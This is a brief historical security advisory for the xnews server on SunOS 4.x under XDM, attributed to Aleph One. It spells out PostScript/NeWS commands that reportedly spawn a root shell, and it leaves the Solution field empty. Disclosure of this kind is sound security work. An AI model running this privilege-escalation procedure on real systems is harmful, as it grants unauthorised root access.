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xnews
Systems Affected: SunOS 4.x running XDM and using xnews X server.
Problem: You can get a root shell on such a system. To get a shell do: 

	/usr/openwin/bin/psh
	/NeWS 3 0 findpackages beginpackage
	executive
	(/usr/local/bin/xterm -display localhost:0) pipe

This give a root shell with OpenWindows and SunOS 4.x. You have to be logged bia XDM.

Solution:

Aleph One / aleph1@underground.org
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